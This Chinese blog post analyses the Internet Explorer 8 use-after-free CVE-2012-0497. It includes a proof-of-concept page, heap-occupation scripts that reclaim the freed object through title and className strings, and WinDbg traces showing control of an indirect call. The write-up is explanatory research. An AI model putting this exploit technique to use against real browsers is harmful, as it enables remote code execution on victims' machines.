这里以CVE-2012-0497为例,poc如下:

<!doctype html>
<html>
<head><script>function helloWorld() {var e0 = null;var e1 = null;var e2 = null;try {e0 = document.getElementById("a");e1 = document.getElementById("b");e2 = document.createElement("q");e1.applyElement(e2);e1.appendChild(document.createElement('button'));e1.applyElement(e0);e2.outerText = "";e2.appendChild(document.createElement('body'));} catch(e) { }CollectGarbage();var eip = window;var data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";eip.location = unescape("AA" + data);}</script>
</head>
<body onload="eval(helloWorld())"><form id="a"></form><dfn id="b"></dfn>
</body>
</html>

 以上代码在ie8+win7 32 位下测试,漏洞具体细节不多说,分析后得到的UAF对象大小为0x58,下面是占位的代码:

用title来占位:

<!doctype html>
<html>
<head>
<script>
var arr_div = new Array();
var junk=unescape("%u4141%u4141");
while (junk.length < (0x100- 6)/2)
{
junk+=junk;
}
function helloWorld() {
var e0 = null;
var e1 = null;
var e2 = null;try {
e0 = document.getElementById("a");
e1 = document.getElementById("b");
e2 = document.createElement("q");
e1.applyElement(e2);
e1.appendChild(document.createElement('button'));
e1.applyElement(e0);
e2.outerText = "";
e2.appendChild(document.createElement('body'));
} catch(e) { }
CollectGarbage();
for(var i = 0; i<0x50; i++)
{
arr_div[i]= document.createElement("div");
arr_div[i].title= junk.substring(0,(0x58-6)/2);
}
}</script>
</head>
<body onload="eval(helloWorld())">
<form id="a">
</form>
<dfn id="b">
</dfn>
</body>
</html>

这样占位后的内存如下:

(cdc.eb8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=002d7978 ecx=00000052 edx=00000000 esi=00000000 edi=002dbac8
eip=6ac6e1e0 esp=0208cfb4 ebp=0208d00c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x4e5:
6ac6e1e0 ff90dc000000    call    dword ptr [eax+0DCh] ds:0023:4141421d=????????
0:005> !heap -p -a ediaddress 002dbac8 found in_HEAP @ 250000HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state002dbac0 000c 0000  [00]   002dbac8    00054 - (busy)0:005> dd edi-10
002dbab8  00000000 00000000 75ad7fe1 8c000000
002dbac8  41414141 41414141 41414141 41414141
002dbad8  41414141 41414141 41414141 41414141
002dbae8  41414141 41414141 41414141 41414141
002dbaf8  41414141 41414141 41414141 41414141
002dbb08  41414141 41414141 41414141 41414141
002dbb18  00004141 00000000 75ad7fdd 88000000
002dbb28  73843fb4 00000000 73868f88 00000000

同样用className来占位的话:

<!doctype html>
<html>
<head><script>var arr_button = new Array();var junk=unescape("%u4141%u4141");while (junk.length < (0x100- 6)/2)
    {junk+=junk;}function helloWorld() {var e=document.createElement('div');var e0 = null;var e1 = null;var e2 = null;
for(i =0; i < 20; i++)
{document.createElement('button');
}try {e0 = document.getElementById("a");e1 = document.getElementById("b");e2 = document.createElement("q");e1.applyElement(e2);e1.appendChild(document.createElement('button'));e1.applyElement(e0);e2.outerText = "";e2.appendChild(document.createElement('body'));} catch(e) { }CollectGarbage();for(var i = 0; i<0x50; i++){arr_button[i]= document.createElement("button");arr_button[i].className= junk.substring(0,(0x58-6)/2);
          }}</script>
</head>
<body onload="eval(helloWorld())"><form id="a"></form><dfn id="b"></dfn>
</body>
</html>

占位后的内存:

irst chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000ffff ebx=00491e50 ecx=00000052 edx=00000000 esi=00000000 edi=004bc3b0
eip=01000000 esp=0254d640 ebp=0254d69c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
01000000 ??              ???
0:005> !heap -p -a ediaddress 004bc3b0 found in_HEAP @ 410000HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state004bc3a8 000c 0000  [00]   004bc3b0    00058 - (free)0:005> dd edi
004bc3b0  0000ffff 41414141 41414141 41414141
004bc3c0  41414141 41414141 41414141 41414141
004bc3d0  41414141 41414141 41414141 41414141
004bc3e0  41414141 41414141 41414141 41414141
004bc3f0  41414141 41414141 41414141 41414141
004bc400  41414141 00004141 0ac4ae7f 8c000000
004bc410  41414141 41414141 41414141 41414141
004bc420  41414141 41414141 41414141 41414141

感觉很神奇,为什么用className同样的方式去占位却没有成功,明显分配的字符串已经被释放掉了。

可是我们对代码稍加修改:

arr_div[i]= document.createElement("div");
arr_div[i].className= junk.substring(0,(0x5C-6)/2);

占位后的内存如下:

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=0035c780 ecx=00000052 edx=00000000 esi=00000000 edi=0032c3b0
eip=6959e1e0 esp=024cd70c ebp=024cd764 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x4e5:
6959e1e0 ff90dc000000    call    dword ptr [eax+0DCh] ds:0023:4141421d=????????
0:005> !heap -p -a ediaddress 0032c3b0 found in_HEAP @ 280000HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state0032c3a8 000c 0000  [00]   0032c3b0    00058 - (busy)0:005> dd edi
0032c3b0  41414141 41414141 41414141 41414141
0032c3c0  41414141 41414141 41414141 41414141
0032c3d0  41414141 41414141 41414141 41414141
0032c3e0  41414141 41414141 41414141 41414141
0032c3f0  41414141 41414141 41414141 41414141
0032c400  41414141 00004141 0c936b32 88000000
0032c410  41414141 41414141 41414141 41414141
0032c420  41414141 41414141 41414141 41414141

那么前面用title占位所分配的字节(0x58-6)/2 为什么会分配的字节数是0x54呢?安照经典的理论来讲,BSTR字符串在内存中应该是如下的布局:

--------------------------------------------------------

00 00 00 00| 00 00 00 00 .......                 | 00 00

--------------------------------------------------------

长度                  0x58字节的数据                    结尾标识

---------------------------------------------------------

但是看看占位的内存:

0:005> !heap -p -a ediaddress 00123ce0 found in_HEAP @ 70000HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state00123cd8 000c 0000  [00]   00123ce0    00058 - (busy)0:005> dd edi-10
00123cd0  00610000 00000000 377139ba 88000000
00123ce0  41414141 41414141 41414141 41414141
00123cf0  41414141 41414141 41414141 41414141
00123d00  41414141 41414141 41414141 41414141
00123d10  41414141 41414141 41414141 41414141
00123d20  41414141 41414141 41414141 41414141
00123d30  41414141 00004141 37713986 88000000
00123d40  41414141 41414141 41414141 41414141

大小竟然是0x88000000,很明显这块内存并不是我们分配的BSTR字符串,这里梳理一下,在UAF占位中,由于对某块内存的误释放(这里是0x58字节大小的CButton),然后我们需要申请到这块被释放的CButton对象内存,然后就可以控制程序的流程。

OK,以ClassName为例,看看这个过程是如何操作的:

1.找到分配的BSTR字符串:

通过mshtml.dll的一些函数名,可以猜测到函数CElement::SetClassHelper是负责进行这个过程的函数,

给该函数下断来证明:

(这里分配的大小为(0x5c-6)/2)

Breakpoint 0 hit
eax=024e9eec ebx=69b6ce7c ecx=024e9ee8 edx=0003d388 esi=69b6ce7c edi=006aa198
eip=69bbdf7b esp=024e9ec8 ebp=024e9edc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CElement::SetClassHelper:
69bbdf7b 8bff            mov     edi,edi

0:005> dd poi(eax)
006282c4 41414141 41414141 41414141 41414141
006282d4 41414141 41414141 41414141 41414141
006282e4 41414141 41414141 41414141 41414141
006282f4 41414141 41414141 41414141 41414141
00628304 41414141 41414141 41414141 41414141
00628314 41414141 00004141 00000000 4f78d6aa
00628324 88000000 00628390 00000004 00000001
00628334 00000000 00000002 00000000 00000000

0:005> dd poi(eax)-10
006282b4 00000000 4f78d699 8c000000 00000056
006282c4 41414141 41414141 41414141 41414141
006282d4 41414141 41414141 41414141 41414141
006282e4 41414141 41414141 41414141 41414141
006282f4 41414141 41414141 41414141 41414141
00628304 41414141 41414141 41414141 41414141
00628314 41414141 00004141 00000000 4f78d6aa
00628324 88000000 00628390 00000004 00000001

0:005> !heap -p -a poi(eax)
address 006282c4 found in
_HEAP @ 5d0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
006282b8 000d 0000 [00] 006282c0 0005c - (busy)

 

上面红色的内存即BSTR对象,0x56为数据的大小,整个BSTR占据的堆内存大小为0x5c,继续看看该函数:

int __stdcall CElement::SetClassHelper(int a1, int *a2)
{int v2; // edi@1int result; // eax@1bool v4; // cl@4
v2 = *a2;result = CBase::AddString(a1, -2147417111, *a2, 0);if ( !result ){v4 = v2 && *(_WORD *)v2;*(_BYTE *)(a1 + 33) ^= (v4 ^ *(_BYTE *)(a1 + 33)) & 1;}*(_BYTE *)(a1 + 33) &= 0xFDu;return result;
}

继续往下跟:

CBase::AddString》CAttrArray::Set》CAttrArray::Set》CAttrValue::InitVariant

重点在这个函数里面,我们中断到_HeapAllocString这个函数看看其参数:

0:005> p
eax=00000000 ebx=006282c4 ecx=0000001f edx=024e9e38 esi=024e9e0c edi=024e9e38
eip=69b86f15 esp=024e9df4 ebp=024e9e10 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CAttrValue::InitVariant+0x152:
69b86f15 e8e3f1ffff      call    mshtml!_HeapAllocString (69b860fd)

0:005> dd esp
024e9df4 006282c4 00000000 024e9e94 00000000
024e9e04 00000000 00000000 0000001f 024e9e48
024e9e14 69b723c3 024e9e94 00000000 006282c4
024e9e24 006aa1a4 69b6ce7c 00690ef0 00000000
024e9e34 00000000 00000000 800103e9 00000000
024e9e44 00000000 024e9e70 69b7230f 800103e9
024e9e54 00000000 024e9e94 00000000 00000000
024e9e64 00000000 006aa198 024e9ee8 024e9ea4
0:005> dd 006282c4
006282c4 41414141 41414141 41414141 41414141
006282d4 41414141 41414141 41414141 41414141
006282e4 41414141 41414141 41414141 41414141
006282f4 41414141 41414141 41414141 41414141
00628304 41414141 41414141 41414141 41414141
00628314 41414141 00004141 00000000 4f78d6aa
00628324 88000000 00628390 00000004 00000001
00628334 00000000 00000002 00000000 00000000

发现第一个参数恰好是我们分配的BSTR对象.

signed int __userpurge _HeapAllocString<eax>(SIZE_T a1<ecx>, int a2<esi>, char *Src)
{char *v3; // eax@1__int16 v4; // cx@2void *v5; // eax@5signed int result; // eax@7SIZE_T Size; // [sp+0h] [bp-4h]@1
Size = a1;v3 = Src;do{v4 = *(_WORD *)v3;v3 += 2;}while ( v4 );if ( ULongAdd((v3 - (Src + 2)) >> 1, 1u, &Size) < 0|| ULongLongToUInt((int)&Size, 2i64 * Size, (unsigned int *)Size) < 0 ){v5 = 0;*(_DWORD *)a2 = 0;}else{v5 = HeapAlloc(g_hProcessHeap, 0, Size);*(_DWORD *)a2 = v5;}if ( v5 ){memcpy(v5, Src, Size);result = 0;}else{result = -2147024882;}return result;
}

然后在该函数中计算BSTR对象的大小并调用HeapAlloc分配内存,然后用memcpy将BSTR对象的字符串拷贝到这片内存!

最后这里分配的内存空间实际上为0x58大小,即BSTR字符串的大小-4,实际上相当于去掉了BSTR对象的头部(4个字节)并进行的内存的重新分配和拷贝。

0:005> bp 69b8614e ".printf \"Allocated Buffer Address =0x%0x \\n \",eax;gc"

以上断点打印出HeapAlloc后的内存并对比最终被重用的内存:

0:005> g
Allocated Buffer Address =0x67c3b0
Allocated Buffer Address =0x67c410 Allocated Buffer Address =0x67c470 Allocated Buffer Address =0x6cd2a8 Allocated Buffer Address =0x6cd308 Allocated Buffer Address =0x6cd368 Allocated Buffer Address =0x6cd3c8 Allocated Buffer Address =0x6cd428 Allocated Buffer Address =0x6cd488 Allocated Buffer Address =0x6cd4e8 Allocated Buffer Address =0x6cd548 Allocated Buffer Address =0x6cd5a8 Allocated Buffer Address =0x6cd608 Allocated Buffer Address =0x6cd668 Allocated Buffer Address =0x6cd6c8 Allocated Buffer Address =0x6cd728 Allocated Buffer Address =0x6cd788 Allocated Buffer Address =0x6cd7e8 Allocated Buffer Address =0x6cd848 Allocated Buffer Address =0x6cd8a8 Allocated Buffer Address =0x6cd908 Allocated Buffer Address =0x6cd968 Allocated Buffer Address =0x6cd9c8 Allocated Buffer Address =0x6cda28 Allocated Buffer Address =0x6cda88 Allocated Buffer Address =0x6cdae8 Allocated Buffer Address =0x6cdb48 Allocated Buffer Address =0x6cdba8 Allocated Buffer Address =0x6cdc08 Allocated Buffer Address =0x6cdc68 Allocated Buffer Address =0x6cdcc8 Allocated Buffer Address =0x6cdd28 Allocated Buffer Address =0x6cdd88 Allocated Buffer Address =0x6cdde8 Allocated Buffer Address =0x6cde48 Allocated Buffer Address =0x6cdea8 Allocated Buffer Address =0x6cdf08 Allocated Buffer Address =0x6cdf68 Allocated Buffer Address =0x6cdfc8 Allocated Buffer Address =0x6ce028 Allocated Buffer Address =0x6ce088 Allocated Buffer Address =0x6ce0e8 Allocated Buffer Address =0x6ce148 Allocated Buffer Address =0x6ce1a8 Allocated Buffer Address =0x6ce208 Allocated Buffer Address =0x32c5868 Allocated Buffer Address =0x32c58c8 Allocated Buffer Address =0x32c5928 Allocated Buffer Address =0x32c5988 Allocated Buffer Address =0x32c59e8 Allocated Buffer Address =0x32c5a48 Allocated Buffer Address =0x32c5aa8 Allocated Buffer Address =0x32c5b08 Allocated Buffer Address =0x32c5b68 Allocated Buffer Address =0x32c5bc8 Allocated Buffer Address =0x32c5c28 Allocated Buffer Address =0x32c5c88 Allocated Buffer Address =0x32c5ce8 Allocated Buffer Address =0x32c5d48 Allocated Buffer Address =0x32c5da8 Allocated Buffer Address =0x32c5e08 Allocated Buffer Address =0x32c5e68 Allocated Buffer Address =0x32c5ec8 Allocated Buffer Address =0x32c5f28 Allocated Buffer Address =0x32c5f88 Allocated Buffer Address =0x32c5fe8 Allocated Buffer Address =0x32c6048 Allocated Buffer Address =0x32c60a8 Allocated Buffer Address =0x32c6108 Allocated Buffer Address =0x32c6168 Allocated Buffer Address =0x32c61c8 Allocated Buffer Address =0x32c6228 Allocated Buffer Address =0x32c6288 Allocated Buffer Address =0x32c62e8 Allocated Buffer Address =0x32c6348 Allocated Buffer Address =0x32c63a8 Allocated Buffer Address =0x32c6408 Allocated Buffer Address =0x32c6468 Allocated Buffer Address =0x32c64c8 Allocated Buffer Address =0x32c6528 (d6c.d50): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=006a5918 ecx=00000052 edx=00000000 esi=00000000 edi=0067c3b0
eip=69b5e1e0 esp=024ed3cc ebp=024ed424 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x4e5:
69b5e1e0 ff90dc000000    call    dword ptr [eax+0DCh] ds:0023:4141421d=????????

可以看出0x67c3b0即我们第一次分配的内存,已经被成功的占位了!

另外还需要说明前面在调用title的时候用(0x58-6)/2也可以成功的占位,不过这次占位确实分配的内存是0x54而不是0x58,不过由于这块内存小于0x58而且最靠近0x58,因此根据堆分配策略也会将

释放的CButton内存分配给title。

转载于:https://www.cnblogs.com/Lamboy/p/3866940.html

用ClassName占位和title占位的分析相关推荐

  1. 函数占位符和占位参数

    1.函数占位符 #include<iostream> using namespace std;//函数高级-函数的占位参数 //函数默认参数//语法:返回值类型 函数名 (形参 = 默认值 ...

  2. js html占位符,JavaScript占位符

    我对javascript确实很陌生,并且为此付出了很多努力.我的代码如下.使用更多代码更容易解​​释.因此,基本上是想在每个占位符中显示每个图像,但是按我按顺序单击它们.因此,如果我单击img 3,它 ...

  3. python中用来占位_自定义占位符,如python中的None

    我在一个函数中使用 argspec,它接受另一个函数或方法作为参数,并返回一个这样的元组: (("arg1", obj1), ("arg2", obj2), . ...

  4. C语言占位符 格式占位符

    常用占位符: %d, %i------代表整数,%f------浮点数,%s------字符串,%c------char. %p------指针,%fL------长log,%e------科学计数法 ...

  5. python print空格占位_python的占位格式符 %

    # 格式化输出 name = "sz" age = 18 # 我的名字是xxx,年龄是xxx print("我的名字是%s,年龄是%d"%(name,age)) ...

  6. XZ_iOS之实现textView占位文本和占位图片

    最近项目需求,实现 textView 左侧有一个类似于 label 的 leftView 的图片效果 且 能自适应高度,所以,自定义了一个 textView 实现了效果,顺带着完善了一下,实现了 te ...

  7. python 占位符_Python占位符总结:%方式和format方式

    Python中,我们在预定义某类具有相似格式的变量或者输出一句含有多个变量的提示语句时,往往用到占位符,而占位符有两种表达方式: %方式: 下面这段代码摘自matplotlib的_init_.py文件 ...

  8. Python的占位符及占位符的使用

    三.常用占位符(%格式字符) 1.十进制整型---------%d 2.浮点型-------------%f (1)保留两位小数------%.2f (2)浮点数有五位,保留两位小数------%5. ...

  9. java slf4j 占位符_slf4j 占位符

    slf4j format 占位符使用{}. For example, MessageFormatter.format("Hi {}.", "there") 1 ...

最新文章

  1. 简明python教程 --C++程序员的视角(九):函数式编程、特殊类方法、测试及其他...
  2. 3.2.4 控制图层显示的范围
  3. 如何查看SAP Leonardo模型重新训练的日志
  4. React中的受控组件和非受控组件
  5. centos运行C程序
  6. Oracle实践--PL/SQL表分区的基础
  7. hcfax2e伺服驱动器说明书_SD伺服驱动器说明书
  8. [ kvm ] 学习笔记 1:Linux 操作系统及虚拟化
  9. 电视机和机顶盒等焦点问题
  10. linux命令——ll详解
  11. 音质好的蓝牙耳机推荐哪款?佩戴舒适的四款蓝牙耳机盘点
  12. Pr:VR 沉浸式视频
  13. django入门学习
  14. 如何让电脑微信双开呢,两行代码解决问题
  15. 库存---历史结存量计算方法
  16. Dowload android source code
  17. 小米4 第三方re奇兔_小米手机推出心率检测功能,升级至 MIUI 12即可使用
  18. bootstrap网格设置等高度
  19. pi调节参数怎么用c语言表达,很重要的pi调节参数的参考不稳定
  20. uCO/OS-ii 一种进程通讯总结

热门文章

  1. WinForm中异步加载数据并使用进度条
  2. window.open()具体解释及浏览器兼容性问题
  3. 陈硕智能指针线程安全_C++ 创建线程的方法
  4. volatile和synchronized的区别
  5. Unix/Linux中Cron的用法
  6. C++中虚函数、虚指针和虚表详解
  7. oracle怎么小数中多余的零,关于小数中0的处理
  8. python random模块中的指令_10分钟让你掌握python编程中random模块功能使用,非常详细...
  9. linux usb3.0改2.0,TX1入门教程硬件篇-切换USB2.0与USB3.0
  10. 昼猫笔记 JavaScript -- 异步执行 | 定时器真的定时执行?